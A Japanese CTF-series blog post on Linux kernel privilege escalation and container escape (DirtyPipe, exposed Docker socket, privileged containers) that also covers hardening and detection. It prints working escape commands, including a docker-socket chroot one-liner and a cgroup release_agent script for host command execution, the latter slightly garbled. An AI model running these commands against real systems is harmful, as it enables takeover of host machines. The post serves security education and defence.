【Linuxカーネル&コンテナエスケープ編】DirtyPipeからDocker socketまで|CTF思考フレームワーク #38
広告・PRを含みます。この記事にはアフィリエイトリンクが含まれます。掲載内容は編集方針に基づいて作成していますが、価格・在庫・キャンペーン内容はリンク先で最新情報を確認してください。

Dockerコンテナの中なら、外には何も影響しないよね?🐳

そう思いたいですが、DirtyPipe・DirtyCOW のようなLinuxカーネル脆弱性、特権コンテナ、Docker socket のマウント――これらでコンテナエスケープすれば、ホストOSまで掌握されます。Cloud時代の最重要攻撃面です。
Linuxカーネル脆弱性(DirtyPipe・DirtyCOW・OverlayFS)とDocker/Kubernetes 設定ミス(特権コンテナ・Docker socket マウント・hostPath ボリューム)を組み合わせると、コンテナの隔離は無力化します。NSA・MITRE もコンテナエスケープを警戒する公式文書を出しています。

コンテナの中に閉じ込めても、ホストに出てくるんだ…
この記事は、CTF思考フレームワーク第38回。Linuxカーネル+コンテナエスケープの代表的手口(DirtyPipe・Docker socket・hostPath・PrivilegedContainer)と、企業の防御策(gVisor・seccomp・AppArmor・Pod Security Standard)を整理します。
📖 この記事はシリーズの一部です
「CTF思考フレームワーク」 #38 / 全86記事 → シリーズ一覧を見る →
🐳 Linuxカーネルの脆弱性とコンテナのエスケープは、PrivEscの最終ボス。DirtyPipeでファイルを書き換え、Docker socketで母艦を奪う。「コンテナの中だから安全」は幻想です。
カーネルexploitとコンテナエスケープは「カーネル境界」「namespace境界」「cgroup境界」「runtime設定」のどれかが破綻したときに起こります。攻撃の目線で何が起点になるかを整理します。
カーネル脆弱性とコンテナの隙間。クラウド時代の最重要トピックです🐧

Linux権限昇格はカーネル脆弱性 + コンテナの境界破りの二正面攻撃なんだ🐧
先に意味を押さえておくと読みやすい用語です。
- CTF: セキュリティの練習問題を解く競技。必ず許可された環境だけで試します。
- CVE: 公開された脆弱性に付く共通の管理番号です。
- 権限昇格: 一般ユーザーから管理者権限など、より強い権限を得ることです。
- 横展開: 侵入後に別の端末やサーバーへ移動して被害範囲を広げる動きです。
- SUID: Linuxで一時的に強い権限で実行できる仕組み。設定ミスが危険です。
- コンテナ: アプリを隔離された軽い実行環境で動かす仕組みです。
👀 観察フェーズ:まず何を見る?

まずuname -aとSUIDバイナリ・cap_*・mount状況を観察!コンテナなら/proc/1/cgroupでホストとの関係も読む🔍
まず手元の環境が「素のホスト」か「コンテナ内」か「VM」かを判定。/.dockerenv の有無、cgroupパス、init PID、capabilities一覧で見極めます。

コンテナの中なのに/var/run/docker.sockがマウントされてるのを見つけたら勝ち確定だね😱
uname -aでカーネルバージョン(CVE当てはめ)cat /proc/1/cgroupでコンテナ判定capsh --printで保有capability(CAP_SYS_ADMIN・CAP_DAC_OVERRIDE等)/var/run/docker.sockや/run/containerdの到達性--privileged起動か、host PID/network namespaceの共有有無- AppArmor / SELinux / seccompプロファイルの強制状態

Linux昇格・エスケープの典型は4ジャンル。
🤔 仮説フェーズ:攻撃者は何を考える?
🧨 仮説①:カーネル脆弱性
DirtyPipe・DirtyCOW・OverlayFS系で非rootからrootへ。古いカーネルなら一発で刺さる。
⚙️ 仮説②:SUID/capabilities誤設定
find / -perm -4000で発見した/usr/bin/sudoや独自バイナリのSUID、cap_setuid+epの誤付与で昇格。
🐳 仮説③:Docker socket露出
コンテナ内に/var/run/docker.sockが見えていれば、特権コンテナを起動してホストにchroot。即エスケープ。
🔓 仮説④:–privileged や capability過大
CAP_SYS_ADMINを持ったコンテナはmountできる→cgroup notify_on_release経由でホスト側コマンド実行。
🕶️ 攻撃者は「カーネルexploit一発で抜けられるか?無理ならコンテナ設定の隙を突くか?」と考えます。privilegedコンテナならcgroup release_agent経由でホストコマンド実行、Docker socketがマウントされていれば docker run -v /:/host でホストrootに到達。CVE-2022-0847(DirtyPipe)はread-onlyファイルを書き換える反則技です。

カーネルもコンテナも「権限の境界」が肝心だね💧
🔬 検証フェーズ:どうやって確かめる?

linpeas.shを流して列挙→バージョン依存の既知CVEを当てる、というのが王道🧪
検証は使い捨てのVMで。DirtyPipeはカーネル5.8〜5.16.10系で再現、CVE-2022-0185(FUSEのfsconfig)はunshare可能なら一般ユーザーからroot。

capsh --printでcap一覧、mountで誤マウントが見つかるんだね💡
# 検証用:ラボのVMで
# DirtyPipe判定
uname -r # 5.8 〜 5.16.10 が当たり
# privilegedコンテナ判定
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff なら全capability

Linux権限昇格の本命はこの3つ。
⚔️ 攻撃フェーズ:実際の手口
5.8〜5.16系カーネルなら/etc/passwdを書き換えてパスワードなしrootを追加できる。
マウントされたDocker socketを使い、docker run -v /:/host --privilegedでホストFSをマウント→chrootで完全奪取。
--privilegedコンテナでcgroup release_agentに攻撃スクリプトを書き、ホスト権限で実行。
privilegedコンテナの典型的な脱出は「release_agent + cgroup notify_on_release」。CAP_SYS_ADMINがあればこれが効きます。Docker socketマウントならdocker run --rm -v /:/host alpine chroot /host shで即root。
# release_agent経由のホスト侵入(privilegedコンテナ内)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n "s/.*perdir=([^,]*).*/1/p" /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo "#!/bin/shnps > /tmp/out" > /cmd
chmod +x /cmd
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"
KubernetesならhostPID: true+nsenterでも一発。「とにかくhost~~~を貸さない」が原則です🚫

Linux権限昇格対策の3点セット!🛡️
🛡️ 防御フェーズ:どう守る?
kpatch / Ksplice / livepatchで再起動なしで脆弱性を塞ぐ。クラウドVMもLTS化を維持。
--cap-drop=ALL+必要なcapだけ追加、read-only rootfs、Docker socketの非マウント、Userns有効化。
syscall制限とMACで許可された動作だけに絞る。デフォルトプロファイルでも効果絶大。

クラウドの「コンテナ=VMじゃない」を理解して守るのが大事だね💪
守備側は「コンテナを最小権限で起動」「カーネルを継続的に更新」「runtime層の検知」の三段構え。privilegedコンテナはほぼ常に避けられます。
- 非privileged+必要なcapabilityだけ
--cap-add - rootlessコンテナ・ユーザーネームスペース分離
- seccomp / AppArmor / SELinuxプロファイルを強制
- Docker socketは絶対にマウントしない(CIランナーも例外なし)
- kernel live patching(kpatch / livepatch)でCVE即応
- Falco / Tetragonでsyscall・プロセス起動を行動検知
🧪 検証用のLinuxラボを用意
権限昇格やエクスプロイトの練習は、許可を得た自分の検証環境で行うのがルール。💻 ConoHa VPSならUbuntuやCentOSをワンクリックで立てて、スナップショットも取れるので安心して試せます。
※ 上記は他社サービスへのリンクです。購入は各自でご判断ください。
⚠️ よくある落とし穴
- 「コンテナだから安全」と過信して開発端末で
--privilegedを多用 - CAP_SYS_ADMIN以外のcapabilityも組み合わせれば抜けられることを軽視
- カーネルバージョンを長期間据え置き、DirtyPipe等の0day耐性を失う
- k8sのhostPath / hostNetwork / hostPIDを「便利機能」として無条件許可
- AppArmor / SELinuxを「とりあえず無効化」して開発
- CIランナー(GitLab Runner等)にDocker socketをマウントして全プロジェクト侵害
🧰 ツール早見表
| ツール | 用途 | 備考 |
|---|---|---|
| LinPEAS / linenum | PrivEsc候補の自動列挙 | コンテナ判定にも便利 |
| amicontained | コンテナ環境特性のレポート | capability・seccompを一覧 |
| deepce | Docker Enumeration & Escape | コンテナエスケープ専用 |
| kube-hunter / kube-bench | k8sの脆弱設定検査 | CISベンチ準拠 |
| Falco | runtime挙動検知 | syscall・k8s監査ログ対応 |
🎓 本気で学びたい人へ
Linuxとサーバ・セキュリティを仕事レベルで学びたい方へ。🎓 ササエルはインフラエンジニア向けスクールで、システム設計から防御設計まで広くカバーしています。
📚 もっと深く学びたい人へ
体系的に学ぶなら『ホワイトハッカー入門』、手を動かして覚えるなら『TryHackMeを使って身体で覚える攻撃手法と脆弱性』が定番。両方持っておくと、知識と実践の両輪で伸びます📚
📚 次に読みたい
- 横展開編(PtH/PtT)|CTF思考フレームワーク #37
- 永続化編|CTF思考フレームワーク #39
- 資格情報窃取編|CTF思考フレームワーク #36
- 検知回避・痕跡消去編|CTF思考フレームワーク #40
🤝 大事なお約束
この記事で扱う確認・検証は、自分の環境、CTF、または明示的に許可された演習環境だけで行ってください。他人のサービスや端末に無断で試す行為は、不正アクセス等に該当するおそれがあります。学んだ知識は守る側で活用しましょう。


